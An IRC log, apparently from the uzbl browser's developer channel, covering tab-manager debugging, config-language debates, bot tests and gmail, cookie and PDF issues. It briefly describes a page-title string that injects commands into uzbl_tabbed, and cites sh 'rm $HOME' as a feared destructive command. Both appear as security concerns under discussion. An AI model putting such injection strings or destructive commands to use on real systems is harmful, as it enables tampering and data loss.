13:21 < lazzareth> Well let me know if you still have troubles (that means I need to dive back into the code and find out whats gone wrong).
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13:22 < ruskie> O.o another libre.fm user
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13:25 < ruskie> btv Dieterbe /usr/share/uzbl/examples/data/uzbl/uzbl.png would be better off in /usr/share/uzbl/uzbl.png and have it set by default to that ;)
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13:32 < ruskie> hmm I checked out your lazzareth
13:32 < ruskie> doesn't seem to work as wel
13:32 < lazzareth> ..?
13:32 < lazzareth> How so
13:32 < ruskie> .config/uzbl/scripts/uzbl_tabbed.py <-- I launch it
13:32 < ruskie> default binding for new tab is gn right ?
13:32 < lazzareth> yeah
13:32 < ruskie> so I type in gn
13:32 < ruskie> just sits there
13:33 < ruskie> waiting for more input
13:33 < lazzareth> Did you make; sudo make install  ?
13:33 < ruskie> :)
13:33 < ruskie> yes
13:33 < lazzareth> Its the updated uzbl binary your after
13:33 < ruskie> I don't do such crazy mistakes since it's installed by the system ;)
13:34 < ruskie> hmm
13:34  * ruskie checks something
13:34 < lazzareth> run directly ~$ python /usr/share/uzbl/examples/data/uzbl/scripts/uzbl_tabbed.py --sync
13:34 < ruskie> hold on... it went with the wrong repo...
13:35 < lazzareth> ... lol?
13:35 < ruskie> git clone git://github.com/mason-larobina/uzbl.git uzbl-tab-scm
13:35 < ruskie> now it's the right one
13:35 < ruskie> install -m755 uzbl /usr/bin/uzbl it's there
13:35 < ruskie> but gn still not working
13:36 < lazzareth> ruskie, Whats "uzbl-tab-scm" ?
13:36 < ruskie> dir name to co to
13:36 < lazzareth> and the current branch is experimental ?
13:36 < ruskie> you didn't say to use experimental
13:37 < ruskie> you pointed me to your master
13:39 < lazzareth> ruskie, Sorry, I mentioned something similar but yes I did mean to checkout the experimental branch.
13:39 < ruskie> and no no matter what I try I can't get new tabs
13:40 < lazzareth> Is the head 80e271cabfc4b34a9883353e2d48344d6f33523b ?
13:40 < lazzareth> ruskie, Can you see if the fifo file is being created in your fifo_dir
13:40 < ruskie> 80e271cabfc4b34a9883353e2d48344d6f33523b
13:41 < lazzareth> is your fifo_dir = /tmp ?
13:41 < ruskie> Listening on $HOME/.cache/uzbl/uzbltabbed_30944 <-- hmm nasty
13:41 < ruskie> doesn't expand $HOME
13:41 < lazzareth> OHhhh
13:42 < ruskie> but uzbl itself does apparently
13:43 < lazzareth> ruskie, Fixed in no time.
13:45 < ruskie> lol would help if it actually failed with Ohh can't create this here no clue where here is ;)
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13:46 < ruskie> and I thought experimental got merged to master quite often by Dieterbe
13:46 < lazzareth> >>> os.mkfifo("$HOME/testfifo")  should fail with "OSError: [Errno 2] No such file or directory" not sure why It wasn't.
13:47 < lazzareth> (without the expanding that is)
13:47 < ruskie> another problem was that I had to generate .local/share/uzbl else it was failing to start at all
13:47 < lazzareth> I'll have to look into that.
13:48 < ruskie> or saw it for like half a second and down
13:48 < lazzareth> Ideally it should be not required. In-fact no config should be required.
13:48 < lazzareth> (Thats the goal, I dont seem to be there yet)
13:48 < ruskie> :)
13:49 < ruskie> the other feature requests I have are: if tabbed.py dies -> release all instances so they become their own windows, ability to pick existing instances into a tabbed.py interface but being able to do so selectively
13:49 < ruskie> probably others but brain is on the fritz
13:50 < lazzareth> Well its easy to pick an instance and add it (just probe its socket, grab uri, send kill command, new tab with probed uri)
13:51 < ruskie> not exactly what I had in mind ;)
13:51 < ruskie> sorta like what one can do with swalowing xterms
13:51 < ruskie> contents and all
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13:51 < lazzareth> ruskie, Well I don't exactly know much gtk hackery that will allow me to do anything else
13:52  * ruskie will try to find anything usable
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13:54 < ruskie> http://library.gnome.org/devel/gtk/unstable/PlugSocket.html
13:54 < Dieterbe>  ruskie> btv Dieterbe /usr/share/uzbl/examples/data/uzbl/uzbl.png would be better off in /usr/share/uzbl/uzbl.png and have it set by default to that ;) no. because then you can't just copy the 3 example dirs to your local xdg dirs
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13:54 < ruskie> it's an image file... doesn't normaly change
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14:06 < Rodya> ruskie, those directories you told me i needed to create for uzbl_tabbed to work already existed
14:07 < ruskie> ow?
14:07 < ruskie> hmm
14:07 < ruskie> that's what got it working here
14:07 < lazzareth> Rodya, But Dieterbe made a valid point: they shouldnt have to exist and ruskie points out that the program fails if they dont.
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14:08 < Dieterbe> Rodya: the point is not whether it changes or not. the point is one should be able to copy stuff from /usr/share/uzbl into $HOME easily, without rearranging directory structures/files etc
14:09 < Rodya> define easily
14:09 < ruskie> rofl
14:09 < ruskie> that was meant to me ;)
14:09 < Rodya> oh, k
14:09 < Dieterbe> oops. yes
14:09 < Dieterbe> sorry
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14:54 < lazzareth> Dieterbe, Found a bug in uzbl_tabbed. Don't ever visit a website with "new\nnew\nnew\nnew\nnew\nnew\nnew\nnew\nnew" in the title :P
14:59 < Dieterbe> :P
14:59 < Dieterbe> lazzareth: that's only abug in uzbl_tabbed, not in the real uzbl?
15:00 < lazzareth> Dieterbe, Only uzbl_tabbed because I split incoming lines through the socket by newlines. Now I'm using md5 end-markers.
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15:01 < Dieterbe> btw lazzareth http://www.uzbl.org/wiki/configtricks does this allow cleaner implementations of the tab bar? i think so :)
15:01 < ruskie> :)
15:01  * ruskie likes multi line status bars
15:02 < ruskie> infact making one bar be for numbered tabs only would pwn ;)
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15:33 < lazzareth> ruskie, Committed a fix for your problem http://github.com/mason-larobina/uzbl/tree/experimental
15:33 < lazzareth> And for the recently found <title> code injection.
15:34 < lazzareth> 'A fix for the
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17:00 < N30N> found another binding bug: ^L == mod4/super
17:04 < Dieterbe> o_O
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17:05 < N30N> I sure can pick em :rollseyes:
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17:39 < ruskie> lazzareth, 'till when will you be around? just so I know since I've got a bit tight schedule atm
17:39 < lazzareth> ruskie, Hey, yeah for a while. Maybe an hour or two more.
17:39 < lazzareth> But I was working on a tab title formatter
17:40 < lazzareth> Similar to the formatters for the status bar "<span SUBSTYLE> [ INDEX <span MAINSTYLE>TITLE</span> ] </span>"
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17:42 < ruskie> I'm getting the same crash as I was earlier which for some reason seems fixed on the work box but not on my home box even though I made the same fixes...
17:42 < ruskie> so atm upgrading to latest webkit and then will try your latest experimental
17:43 < lazzareth> ruskie, Yeah I made those modifications with the os.path.expandvars function so those $HOME/.somewhere/uzbl/ paths will work now.
17:44 < ruskie> ahh
17:44 < lazzareth> Thats in my latest commit, you should be able to fetch origin or something similar to pull it down.
17:45 < ruskie> don't need... I prefer git pull ;)
17:45 < ruskie> and it auto sets all the targets and so on
17:45 < ruskie> so just git pull is enough ;)
17:46 < lazzareth> :)
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17:49 < ruskie> ok that seems to work
17:50 < ruskie> though had to use your experimental branch
17:50 < lazzareth> ^^ Its the only branch I work in at the moment.
17:50 < lazzareth> ruskie, Opening and closing tabs working?
17:50 < ruskie> (uzbl:22914): GLib-CRITICAL **: g_string_append: assertion `val != NULL' failed <-- getting ton of these
17:50 < ruskie> yeah it does
17:51 < ruskie> what's the tab lenght? chars? or pixels?
17:51 < uranther> ruskie, in what?
17:51 < lazzareth> characters
17:51 < ruskie> uranther, in lazzareth's experimental branch
17:51 < uranther> oh ok
17:51 < ruskie> anyway I'm away for half an hour or so now
17:52 < lazzareth> Well the only modification I've made is that cherry pick from holizz
17:52 < lazzareth> uranther, Its essentially Dieterbe's experimental uzbl.c
17:52 < lazzareth> Thats where the errors are coming from.
17:52 < uranther> i haven't had any errors like that lately
17:53 < lazzareth> ruskie, Or your update?
17:53 < uranther> what are you testing?
17:54 < Dieterbe> i did do several merges yesterday evening into experimental
17:55 < lazzareth> I haven't pulled them in yet. So thats not his problem afaik (he checked out my branch)
17:56  * uranther pulls in new updatez
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18:22 < uranther> wow that was confusing.. i was in the master branch i pulled in yesterday to fix that bug. so none of my git stuff was not working and I didn't know why :P
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18:42 < ruskie> hmm lazzareth possible to open a new tab with an url? i.e. something like gn http://whatever?
18:43 < lazzareth> ruskie, Open new tab from clipboard = gY
18:43 < ruskie> only?
18:43 < lazzareth> You can make your own bind
18:44 < lazzareth> ruskie, I'll tell you what you need to do
18:47 < ruskie> http://sprunge.us/BJZN <-- I'm guessing I need to get uri somehow now
18:50 < lazzareth> ruskie, Added two lines http://gist.github.com/138906
18:50 < lazzareth> Search for the string "bind_new_and_goto" on that page and you will see the two lines I've added
18:51 < lazzareth> Its bound to go http://someurl.com/
18:51 < lazzareth> as in "go http://someurl.com/"
18:51 < lazzareth> I havent tested that but it should work :P
18:53 < lazzareth> See how the new command takes an optional uri already http://gist.github.com/138906#LID630
18:53 < ruskie> seems to just need to kill the goto part of it
18:53 < lazzareth> ?
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18:53 < ruskie> it opens a new tab with the uri then switches to it
18:54 < ruskie> I like everything before the "then" part ;)
18:54 < lazzareth> Theres an option in the config to not switch to new tabs when they open
18:54 < lazzareth> :)
18:55 < ruskie> set switch_to_new_tabs  = 0 <-- I take it this means disabled?
18:55 < lazzareth> Yeah, that will disable it.
18:56 < lazzareth> Actually come to think of it, I dont think I've ever tested that command.
18:56 < lazzareth> :D
18:56 < ruskie> well it doesn't work ;)
18:56 < lazzareth> NICE!
18:56 < ruskie> it switches to the new tab
18:56 < ruskie> but yeah it does open a new tab with the uri
18:56 < lazzareth> How awkward. I'll put that on my todo list.
18:56 < ruskie> which is still very helpful
18:57 < lazzareth> ^ Glad something worked out. Ill push that change into my main experimental some time tonight.
18:57 < lazzareth> I had always meant to put that command in there I just forgot it.
18:57 < ruskie> and I like that I can close tabs simply by doing :q ;)
18:58 < ruskie> don't need the bind_close_tab at all
18:58 < lazzareth> :)
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18:59 < lazzareth> Thats an unintentional feature, It just so turned out I can catch when clients kill themselves and clean up after them.
18:59 < ruskie> now need to make a cookie handler that will deny all cookies by default unless I approve them through an interface
19:02 < Rodya> it'd be nice if it would also have an option to automatically deny third party cookies ruskie
19:02 < ruskie> Rodya, in my case it will deny everything I don't approve ;)
19:03 < ruskie> and it won't be poping up any questions
19:03 < ruskie> I'll have to run a separate tool to modify the permissions
19:06 < ruskie> infact I don't want any record at all of a site visit anywhere unless I approve it
19:07 < Rodya> sounds nice
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19:14 < jrick> lazzareth: do the tab names get shortened if there's too many to fit in the window?
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19:15 < lazzareth> jrick, I'm currently working on an ellipsiser right now. They dont currently.
19:15 < jrick> ok
19:16 < lazzareth> For example I was thinking along the lines of having user defined tab_format's (something which requires actual editing of the source) and using {}'s to denote "ellipisable" regions.
19:17 < lazzareth> As in if the title need to shrink or grow do it in the { some formatting here } region.
19:18 < lazzareth> Example: "<span SUBSTYLE> [ INDEX <span MAINSTYLE>{TITLE}</span> ] </span>"  (I'm using uzbl like formatter variables :P)
19:19 < lazzareth> And when they truly cant fit I'm making the tablist scrollable with little coloured "< >" on the ends of the tablist indicating that its hiding tabs from sight.
19:19 < jrick> cool
19:19 < lazzareth> But this in particular will take a few days to get correct.
19:23 < lazzareth> Gah, When I said "(something which requires actual editing of the source)" I meant to say "(something which currently requires editing the source to change)"
19:25 < ruskie> :)
19:27 < lazzareth> I'm off to sleep, got a big day tomorrow.
19:27 < lazzareth> Night guys.
19:31 < ruskie> enjoy
19:31 < ruskie> and many thanks
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19:58 < rob|> so we should really implemet custom vars, that way lazzareth's tabbed thing would become even more lightweight..
19:58 < rob|> actually i do have an implementation on my hdd, though it suffers some problems from a not so obvious double free :(
20:05 < uranther> :S
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20:10 < ruskie> hmm now need to modify all my shortcuts to launch uzbl instead of kazehakase
20:12 < scj> rob|: what about using js as the config language instead?
20:13 < ruskie> ugh
20:13 < ruskie> there is a reason for config files not being a programing language... as much as it would be nice to be
20:14 < ruskie> config files are meant for mere mortals that don't know how to code
20:15 < scj> what reason would that be? I don't see that big difference between using "bind foo = bar" and 'bind("foo","bar")'
20:15 < rob|> right, setting and printing variables should be comprehandable for everyone - a turing complete languange is another beast
20:16 < scj> we already have a state of the art JS VM running
20:16 < scj> might as well use it
20:16 < rob|> we do use it @<...>@
20:16 < rob|> js, script
20:17 < scj> and reimplementing user definable variables and an entire mini language
20:18 < uranther> scj, using JS for config?
20:18 < uranther> could be cool :>
20:19 < rob|> i don't really like that idea too much, that would impose learning js just to configure xmonad
20:19 < rob|> err, uzbl
20:19 < rob|> no idea why i wrote xmonad :P
20:20 < uranther> that's better than learning our config syntax
20:20 < ruskie> I though xmonad uses a turing complete as well?
20:20 < rob|> sure it does
20:20 < uranther> most config options could be stored in JS arrays
20:20 < ruskie> and would this still work iwth set javascript_disable = 1 ?
20:20 < rob|> good point
20:21 < scj> yes, it would
20:21 < ruskie> and can you ensure that a manevolent web oder couldn't abuse it somehow?
20:21 < scj> you would have the uzbl config in an entirely different context
20:24 < rob|> hmm
20:26 < scj> it would work pretty much like it does now, except for a slight change in syntax in the config files. instead of "bind foo = bar", it would be bind("foo","bar")
20:27 < scj> and we would get a buttload of stuff for free
20:27 < uranther> not to mention our config stuff is error-prone :X
20:28 < rob|> well, i really do like shell style languages. they are easy to comprehend and to use - that's why i tried to build the config stuff with that idea in mind
20:29  * ruskie likes them as well
20:31 < scj> I quite like style of the syntax too, but since our current style can trivially be mapped into js functions, I don't see why we can't have the cake and eat it too
20:38 < rob|> well, i'm not completly disinclined of that idea, though i'd like to keep at least the command substitution
20:38 < rob|> of the coolest things shells have to offer imo
20:39 < ruskie> correct me if I'm wrong but wouldn't this turring complete config be a tad more dangerous then the current config parser?
20:39 < uranther> dangerous?
20:39 < scj> ruskie: dangerous how?
20:39 < ruskie> well it allows to run a lot more than just parse some options
20:40 < uranther> ?
20:40 < scj> that is sort of the point
20:41 < N30N> I think he means, you would need to open up the shell to js and a error in a script could open that to the world.
20:42 < uranther> I don't follow
20:43 < N30N> like this -> http://greasemonkey.mozdev.org/authoring.html#unsafeWindow
20:43 < Rodya> The config file currently allows you to run any program you want via sh,bash,etc, so, if you switch the config file to javascript, how will it do that, and if it does, how is it secure?
20:44 < scj> there would be two seperate contexts, one for the config and one for the web frame
20:44 < scj> they would be completely separated and walled off
20:45 < N30N> scj: but that would be crap lol
20:45 < scj> N30N: it would work like it does now
20:46 < scj> we could still allow the ability to communicate with the browser context by sending strings to be evaluated in that context and fetch the result string
20:46 < scj> just like we do now
20:48 < N30N> but they you dont get much beefit in using js IMO
20:48 < N30N> s/beefit/benefit/
20:49 < scj> no benefit? how about user definable variables? being able to serialize the browser state?
20:50 < N30N> but that can be worked into the current config style
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20:52 < scj> it could, just saying that it would be easier and more powerful to just use the state of the art js vm
20:52 < ruskie> also isn't this kinda bringing more complexity(as in a turing complete lang) to the system? instead of reducing it with a talk specific lang ?
20:53 < Rodya> Personally, I wouldn't want to write javascript in order to configure any application... I don't even use it on websites because I dislike it so
20:55 < uranther> our language is worse imo.. it was fine until we started adding things like chain
20:55 < uranther> now we have behemoth parsers
20:56 < uranther> one has memory leaks i have no idea how to fix
20:56 < scj> I'm predicting that we will keep adding features to "uzblscript" up until the difference won't be that big
20:56 < scj> might aswell skip that part and go with js
21:00 < Rodya> I guess, as long as it is impossible a website to execute code on my computer no matter what I have in my config file, it might not be bad
21:01 < scj> "no matter what" might be difficult to guarantee
21:02 < Rodya> The thought of a website deleting all of my files is extremely unappealing
21:02 < scj> using js as the config language wouldn't be any more (in)secure than we currently have
21:02 < scj> what we*
21:04 < scj> anyway, ruminate on it
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21:05 < ruskie> I find it amusing how people balk at the idea of adding any more gtk+2 things into the core but don't mind adding JS... makes no sense
21:05 < N30N> if we need to change it I vote going wmii style ;)
21:05 < N30N> sockets and filesystem interface
21:05 < Rodya> The idea of a programming language for a configuration file is nice in and of itself, I just wouldn't want a website to be able to replace one of my hotkeys with the equivalent of sh 'rm $HOME'
21:05 < ruskie> isn't that already there?
21:06 < ruskie> then just to throw in something how about using lua as the config engine? /me dives for the trenches
21:07 < jrick> haskell
21:07 < ruskie> well one benefit of lua... it's tiny
21:07 < scj> ruskie: we already got the JS VM going
21:08 < scj> we're basically being wasteful by not using it
21:08 < jrick> btw, I'm ok with something like javascript for the config file. anything is better than a flat configuration imho
21:09 < ruskie> how about supporting both? flat file and js?
21:12 < scj> dunno why people get so hung up on the actual syntax, it's just a minor detail
21:12 < scj> we could probably use sed to transform "uzblscript" to js
21:12 < ruskie> I don't see it as a minor detail
21:12 < ruskie> I see it on the same level of absurdity as using XML for config files
21:12 < Rodya> My only real concern is security
21:13 < Rodya> The rest for me is preference
21:14 < ruskie> basically it's meant for computers to be read not people... thus kinda killing the idea of a simple plain config file
21:14 < Phillemann> ruskie: And even computers don't read it well
21:14 < Phillemann> json is _much_ easier to parse, for example.
21:14 < Phillemann> Anyway, not an xml discussion here.
21:15 < uranther> another? lol
21:16  * DuClare raises and waves a flag which has an ascii representation of finger nail clippings \o/
21:17 < Dieterbe> o_O
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21:29 < Majkhii> hi all...is here anyone using uzbl_tabbed?
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21:37 < ruskie> yup
21:39 < Majkhii> ruskie: i downloaded it from git...but i have this problem: http://pastebin.com/d63f400c5
21:39 < ruskie> rm /home/mihairu/.config/uzbl/tmp/uzbltabbed*
21:39 < ruskie> also are you using the same tree as the one where you downloaded it from?
21:40 < ruskie> it has issues otherwise
21:40 < ruskie> as in it will try to start and fail
21:40 < ruskie> and leave crap lying around in tmp
21:40 < Majkhii> ruskie: it did same thing
21:41 < ruskie> http://github.com/mason-larobina/uzbl/tree/experimental <-- get this tree
21:41 < ruskie> build uzbl from it and install it then try again
21:41 < Majkhii> ok i'll try it
21:42 < ruskie> I've had problems myself and the author fixed everything I've hit so far I think
21:42 < Majkhii> ruskie: ok :)
21:43  * ruskie prods Dieterbe when will you be merging that into master?
21:48 < Dieterbe> when i have enough time to carefully review it
21:50 < Majkhii> ruskie: same error :(
21:51 < ruskie> Majkhii, you did rm first right?
21:51 < ruskie> if not do it
21:51 < ruskie> and check there's nothing in there wrt to uzbltabbed
21:52 < Majkhii> ruskie: great thx or help now it is working :))
21:52 < ruskie> yw
21:56  * ruskie drops to a low power state
21:56 < ruskie> nyx all
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22:01 < Dieterbe> !help
22:01 < uzblbot> Dieterbe: (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
22:01 < Dieterbe> !stats
22:01 < uzblbot> Dieterbe: I have 1 registered users with 0 registered hostmasks; 1 owner and 0 admins.
22:01 < Dieterbe> !commands
22:01 < uzblbot> Dieterbe: Error: "commands" is not a valid command.
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22:04 < Dieterbe> !help help
22:04 < uzblbot> Dieterbe: (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
22:04 < uranther> Dieterbe, eggdrop? :)
22:04 < Dieterbe> no, supybot
22:04 < uranther> oo
22:05 < Dieterbe> !chanstats
22:05 < uzblbot> Dieterbe: Error: "chanstats" is not a valid command.
22:05 < Dieterbe> !list
22:05 < uzblbot> Dieterbe: Admin, Channel, ChannelLogger, ChannelStats, Config, Karma, Misc, Owner, Quote, Seen, and User
22:05 < Dieterbe> !help ChannelStats
22:05 < uzblbot> Dieterbe: (channelstats [<channel>]) -- Returns the statistics for <channel>. <channel> is only necessary if the message isn't sent on the channel itself.
22:05 < uranther> !karma dieterbe
22:05 < uzblbot> uranther: dieterbe has neutral karma.
22:05 < uranther> dieterbe++
22:05 < uranther> !karma dieterbe
22:05 < uzblbot> uranther: dieterbe has neutral karma.
22:06 < Dieterbe> !channelstats
22:06 < uzblbot> Dieterbe: On #uzbl there have been 23 messages, containing 1016 characters, 152 words, 1 smiley, and 0 frowns; 0 of those messages were ACTIONs.  There have been 1 join, 0 parts, 1 quit, 0 kicks, 0 mode changes, and 0 topic changes.
22:06 < uranther> haha what is a smiley?
22:06 < Dieterbe> uranther: you need to prepend every command with a '!'
22:06 < uranther> !dieterbe++
22:06 < uranther> lol..
22:06 < Dieterbe> hmmz
22:06 < uranther> is it ok if i test it out?
22:07 < rob|> btw, do we have logs of the chan?
22:07 < Dieterbe> depends how many lines your testing will take :P
22:07 < Dieterbe> rob|: sort of. i've managed to be here 99.9% of the time, so i have logs :)
22:07 < Dieterbe> !help Channel
22:07 < rob|> are those accesible somewhere?
22:07 < uzblbot> Dieterbe: (channel [<channel>] <name> [<value>]) -- If <value> is given, sets the channel configuration variable for <name> to <value> for <channel>. Otherwise, returns the current channel configuration value of <name>. <channel> is only necessary if the message isn't sent in the channel itself.
22:07 < Dieterbe> rob|: on my hard disk :P
22:07 < uranther> doesn't receive notice commands :/
22:08 < Dieterbe> !channel
22:08 < uzblbot> Dieterbe: (channel [<channel>] <name> [<value>]) -- If <value> is given, sets the channel configuration variable for <name> to <value> for <channel>. Otherwise, returns the current channel configuration value of <name>. <channel> is only necessary if the message isn't sent in the channel itself.
22:08 < Dieterbe> !misc
22:08 < uranther> !help karma
22:08 < uzblbot> uranther: (karma [<channel>] [<thing> ...]) -- Returns the karma of <text>. If <thing> is not given, returns the top three and bottom three karmas. If one <thing> is given, returns the details of its karma; if more than one <thing> is given, returns the total karma of each of the the things. <channel> is only necessary if the message isn't sent on the channel itself.
22:08 < uzblbot> Dieterbe: Error: "misc" is not a valid command.
22:08 < Dieterbe> !help Misc
22:08 < uzblbot> Dieterbe: Error: There is no command "misc".
22:08 < Dieterbe> !karma
22:08 < uzblbot> Dieterbe: Highest karma: "dieterbe" (1).  Lowest karma: "dieterbe" (1).
22:08 < Dieterbe> uranther: seems like it worked. it just didn't confirm
22:08 < uranther> oh it did register..
22:09 < rob|> Dieterbe: hmm, would be nice to have them on the web. maybe the bot can be persuaded to log?
22:09 < uranther> Dieterbe, can you tell it to respond on such things?
22:09 < Dieterbe> rob|: i'll check that out. but afaik DuClare didn't like publishing logs
22:09 < uranther> you can find logs of me from years ago on #c and such
22:09 < uranther> it's spooky
22:10 < Dieterbe> i want to have the "max amount of people" functionality again but don't know how it works :P
22:10 < Dieterbe> !peak
22:10 < uzblbot> Dieterbe: Error: "peak" is not a valid command.
22:10 < rob|> Dieterbe: hu, why not?
22:10 < DuClare> Dieterbe: Hmm?  I have no trouble with publishing logs
22:11 < rob|> as i'm quite often away i'd really appreciate having logs
22:11 < DuClare> I log everything when I'm online (which is always unless the power dies or such), but recently I've changed my client and had some segfaults and stuff and I haven't had the time to polish the log format .. so it's a mess right now :<
22:12 < Dieterbe> oh hmm, well there was _someone_ who didn't like it :P
22:17 < Dieterbe> rob|: http://www.uzbl.org/irc-log
22:18 < Dieterbe> contains pretty much everything until now. a few hours downtime here and there maybe, and 24h or so somewhere in the early days
22:18 < uranther> intense
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22:22 < rob|> Dieterbe: hmm, we need to fix mime typed in uzbl. that site doesn't open for me..
22:22 < rob|> *types
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22:27 < scj> !scj--
22:27 < uzblbot> scj: Error: You're not allowed to adjust your own karma.
22:27 < scj> >:(
22:27 < uranther> haha
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22:46 < Dieterbe> good night gang
22:47 < Rodya> On gmail, I noticed I'm getting this line a lot: console message:  @1: Refused to set unsafe header "Connection", when I try to go to the settings
22:52 < Rodya> Oh, and it never actually loads gmail's settings
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00:05 < cprussin> my god
00:05 < cprussin> I love uzbl
00:09 < rob|> :)
00:11 < cprussin> like
00:11 < cprussin> I just got it running off the default config
00:11 < cprussin> and I think I had a small orgasm
00:12 < rob|> parental advisory: uzbl might lead to small orgasms
00:12 < cprussin> HAHA
00:13 < cprussin> how do I install flash for webkit?
00:13 < cprussin> I'm not familiar with it
00:13 < rob|> it uses the very same plugin as firefox does, so if you got it running there it should just work with uzbl
00:14 < cprussin> ah
00:15 < cprussin> just came off command line, no mozilla either :D
00:16 < rob|> so just use the flash thing your distro provides or grab it manually from adobe
00:16 < cprussin> yeah, I did the former
00:16 < cprussin> easier
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00:55 < bob_f> bct: Hey, are you around ?
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01:00 < jrm8005> hi, great work on uzbl, folks!
01:01 < jrm8005> I'm looking to replace my browser full time with uzbl, but I'm having a hard time with the formfiller script.
01:01 < jrm8005> in particular, I can't get it to work with gmail. Has anyone had success?
01:12 < bob_f> bct: Dieterbe: I've got my cookie daemon working. No changes to uzbl code, so it works out of the box. Here's the code: http://bitbucket.org/bobf/uzbld/
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01:49 < dxdx> Rodya: update to libsoup 2.27.2 to fix gmail (unstable, you have to build it yourself)
01:50 < Rodya> dxdx, ah, thanks
01:56 < dxdx> jrm8005 ^
01:56 < dxdx> oh wait, you said formfiller
01:56 < jrm8005> dxdx: yeah.
01:57 < jrm8005> oddly, when I get to the gmail page, if I refresh, it logs in.
01:57 < jrm8005> that's probably a cookies thing, and a bit scary.
02:03 < dxdx> jrm8005: i'd recommend you to disable the cookies handler for gmail, btw, i don't know how have you survived to that
02:04 < jrm8005> dxdx: I haven't been using uzbl much. I just got it  working days ago
02:04 < jrm8005> I'm still exploring.
02:04 < dxdx> well, know it: cookies suck currently
02:04 < jrm8005> ok
02:04 < jrm8005> I can live with that if I can get formfiller to work.
02:05 < Rodya> the only problem i've had with cookies is facebook
02:05 < jrm8005> I'm an http/js noob, but it seems like the password field has some kind of hidden attr on the gmail page
02:09 < jrm8005> dxdx: what is the problem with gmail and cookies? Does gmail give you an ``oops...'' ?
02:10 < jrm8005> because that is starting to happen to me now.
02:11 < bob_f> Facebook works for me now.
02:12 < Rodya> i haven't tested since i last updated
02:13 < bob_f> Won't make any difference - it's the work I've done on it myself that fixed it.
02:13 < bob_f> You can try it if you like.
02:13 < bob_f> http://bitbucket.org/bobf/uzbld/
02:14 < Rodya> oh, i see, i'll try it =)
02:14 < bob_f> It's still early days - only two drunken evenings of hacking, but it hasn't let me down so far.
02:15 < jrm8005> bob_f: cheers to the drunken hacking.
02:15 < bob_f> :)
02:15 < jrm8005> I fixed my editor last night
02:31 < jrm8005> on half a bottle of jameson, I might add.
02:51 < dxdx> jrm8005: that's the bug fixed in libsoup 2.27.2
02:52 < jrm8005> hm, I'll have to wait for the overlay to update.
02:52 < dxdx> or use arch and do yaourt -Sb libsoup, change the version field, and be happy
02:53 < jrm8005> or, not switch distros and wait a day.
02:53 < dxdx> 2.27.2 is unstable, you won't see the fix until 2.28.0
02:53 < jrm8005> and I'm using an overlay.
02:53 < jrm8005> so I will get the unstable one
02:54 < dxdx> anyway you must switch to arch (?)
02:54 < jrm8005> um... no(?)
02:54 < jrm8005> I like gentoo
02:54 < bob_f> I guess somebody has to. :)
02:54 < jrm8005> I can't complain much.
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03:18 < jrm8005> so when I nav to a PDF file in uzbl, it actls like it downloads it but never opens a viewer for it.
03:18 < jrm8005> I have mozplugger and all that set up properly.
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03:42 < dxdx> jrm8005: use the download handler
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04:16 < lazzareth> Morning guys.
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04:26 < dxdx> 23:08 < lazzareth> Morning guys.
04:27 < lazzareth> Its 10:26 over here.
04:29 < scj> jrm8005: there is a new formfiller script that should work with gmail
04:32 < jrm8005> dxdx: how can I force it to download if it tries to display in the browser?
04:32 < jrm8005> or will I have to manually select the download option?
04:34 < dxdx> jrm8005: does it try to display in uzbl and fails?
04:35 < dxdx> (do you see the pdf source as text?)
04:35 < jrm8005> dxdx: it goes through the wait-recv-done steps and displays a blank page.
04:35 < jrm8005> there's nothing in the downloads directory.
04:35 < jrm8005> and nothing in /tmp
04:46 < dxdx> jrm8005: in your home?
04:48 < jrm8005> no
04:49 < jrm8005> It seems like webkit is expecting there to be some kind of handler or something, but there is not.
04:49 < jrm8005> maybe GTK is expecting to do it, but since I don't run any of that crap, it could be getting lost too
04:51 < scj> it's the mime handler that is missing. uzbl won't do anything unless the mimetype is defined as something webkit can render
04:51 < jrm8005> it seems to be expecting acroread.
04:52 < jrm8005> I have the mimetypes set in /etc/mailcap or whatever that file is.
04:52 < jrm8005> is there another place I should put it?
04:52 < scj> atm, no
04:54 < jrm8005> hm, I have the right viewer in /etc/mailcap, and yet it still tries acroread, which isn't installed.
04:54 < jrm8005> scj: would it look at mozpluggerrc?
04:55 < scj> no idea
04:59 < scj> actually. it looks like uzbl heeds ~/.mailcap
05:00 < lazzareth> Awesome, I've been in contact with Chris van Dijk (quigybo) via email and hes added a download notification progress bar and the ability to view per tab usage statistics.
05:00 < lazzareth> I'm going to try and merge them tonight.
05:05 < jrm8005> lazzareth: is that the new uzbl_tabbed.py?
05:05 < jrm8005> that's totally b0rked for me, dies on startup with no stack trace.
05:05 < lazzareth> And just to add my two cents. I dislike the push towards a js config file, what bloat. Not to mention the added difficulty of external scripts accessing config.
05:06 < lazzareth> jrm, what version of uzbl.c are you using?
05:06 < jrm8005> whatever got pulled in by layman a couple days ago.
05:07 < lazzareth> Ahh, then its probably Dieterbe's master.
05:07 < jrm8005> yes.
05:08 < jrm8005> scj: I got nothing with a .mailcap
05:08 < scj> lazzareth: the idea is to keep the same "api" towards external apps
05:08 < lazzareth> jrm8005, Either manually grab Dieterbe's experimental or you could grab my http://github.com/mason-larobina/uzbl/tree/experimental which fixes a few syling issues along the way. Just unmerge that uzbl that you got in the devnull(?) overlay.
05:08 < jrm8005> yes, devnull
05:09 < jrm8005> I will try that. Are there also fixes for cookies/google suckage?
05:09 < scj> lazzareth: and I don't see why it would be "bloat", we already have a js vm running, might aswell use it
05:09 < lazzareth> Nope, they can be found in holizz's overlay I think?
05:10 < jrm8005> scj: I'd rather keep a simple config file as opposed to using some ridiculous language
05:10 < lazzareth> scj, Well at least make it optional. Maybe have a config option "set js_config = myconfig.js" then load that.
05:10 < jrm8005> that's like using an atomic bomb to squash an any.
05:10 < jrm8005> ant*
05:10 < lazzareth> ^^ My thoughts exactly.
05:11 < scj> jrm8005: actually, no. we've been adding more and more language constructs to our config language
05:11 < scj> we are basically designing a new language
05:11 < lazzareth> scj, I like it how it is currently .
05:11 < jrm8005> yes, but it's just key=val and a couple of other niceties.
05:11 < jrm8005> it's a config language, not a general purpose language.
05:13 < scj> I just think it's kind of silly to purposefully neuter uzbl by implementing our own little language when we have a state of the art js interpreter at our disposal
05:13 < jrm8005> dude, it's supposed to be minimalist
05:13 < lazzareth> Yes but does js follow the UNIX philosophy?
05:14 < jrm8005> it's not supposed to be a platform VM for executing all sorts of ridiculous js programs in.
05:14 < scj> minimalist in what sense?
